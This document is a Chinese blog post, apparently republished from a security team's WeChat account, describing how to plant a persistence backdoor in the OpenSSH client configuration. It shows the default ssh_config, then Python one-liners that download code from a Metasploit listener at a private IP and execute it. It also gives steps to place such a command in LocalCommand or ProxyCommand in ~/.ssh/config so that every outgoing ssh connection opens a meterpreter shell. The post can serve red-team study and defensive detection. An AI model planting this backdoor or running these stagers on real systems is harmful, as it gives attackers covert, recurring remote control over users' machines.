前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SSH Config 后门 | Linux 后门系列

SSH Config 后门 | Linux 后门系列

作者头像
意大利的猫
发布2021-06-15 10:37:48
7.7K4
发布2021-06-15 10:37:48
举报
文章被收录于专栏:漫流砂漫流砂

ssh 客户端配置文件加载顺序 命令行参数 > ~/.ssh/config > /etc/ssh/ssh_config

Ubuntu server 16.04 默认 /etc/ssh/ssh_config

代码语言:javascript
复制
# Host *
#   ForwardAgent no                        
#   ForwardX11 no    
#   RhostsRSAAuthentication no
#   RSAAuthentication yes
#   PasswordAuthentication yes
#   HostbasedAuthentication no
#   GSSAPIAuthentication no
#   GSSAPIDelegateCredentials no
#   GSSAPIKeyExchange no
#   GSSAPITrustDNS no
#   BatchMode no
#   CheckHostIP yes
#   AddressFamily any
#   ConnectTimeout 0
#   StrictHostKeyChecking ask
#   IdentityFile ~/.ssh/identity
#   IdentityFile ~/.ssh/id_rsa
#   IdentityFile ~/.ssh/id_dsa
#   IdentityFile ~/.ssh/id_ecdsa
#   IdentityFile ~/.ssh/id_ed25519
#   Port 22
#   Protocol 2
#   Cipher 3des
#   Ciphers aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc
#   MACs hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160
#   EscapeChar ~
#   Tunnel no
#   TunnelDevice any:any
#   PermitLocalCommand no
#   VisualHostKey no
#   ProxyCommand ssh -q -W %h:%p gateway.example.com
#   RekeyLimit 1G 1h
#
# Uncomment this if you want to use .local domain
# Host *.local
#   CheckHostIP no

Host *
        GSSAPIAuthentication yes
# If this option is set to yes then remote X11 clients will have full access
# to the original X11 display. As virtually no X11 client supports the untrusted
# mode correctly we set this to yes.
        ForwardX11Trusted yes
# Send locale-related environment variables
        SendEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE LC_MONETARY LC_MESSAGES
        SendEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE LC_MEASUREMENT
        SendEnv LC_IDENTIFICATION LC_ALL LANGUAGE
        SendEnv XMODIFIERS

这里着重介绍两个参数,剩下的参数可以查看下面这个文档

SSH config file syntax and how-tos for configuring the OpenSSH client

LocalCommand

参数含义:当连接远程主机成功后,在本地计算机执行的命令

使用msf进行测试

msf设置监听

代码语言:javascript
复制
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://10.168.1.105:8080/i3mYH5hdtkO1gt', context=ssl._create_unverified_context());exec(r.read());"
代码语言:javascript
复制
python3 -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://10.168.1.105:8080/i3mYH5hdtkO1gt', context=ssl._create_unverified_context());exec(r.read());"
  1. 创建 ~/.ssh/config 如果.ssh目录不存在就创建这个目录,可以直接将 /etc/ssh/ssh_config 复制过来
  1. 设置~/.ssh/config 中Host为*处设置 LocalCommand 参数为我们的msf恶意命令,同时设置 PermitLocalCommand 的值为 yes,并保存
  1. ssh连接其他主机

成功反弹shell

  1. 成功获取 meterpreter shell

LocalCommand参数可用

ProxyCommand

连接主机过程中设置代理所使用的命令

重复过程不再赘述,仅写标题

msf设置监听

创建 ~/.ssh/config 如果.ssh目录不存在就创建这个目录,可以直接将 /etc/ssh/ssh_config 复制过来

创建恶意脚本文件 /tmp/evil.sh

设置~/.ssh/config 中Host为*处设置 ProxyCommand 参数为执行我们的恶意脚本,并保存

ssh连接其他主机

成功获取meterpreter shell

ProxyCommand 参数可用

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-05-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 NOP Team 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档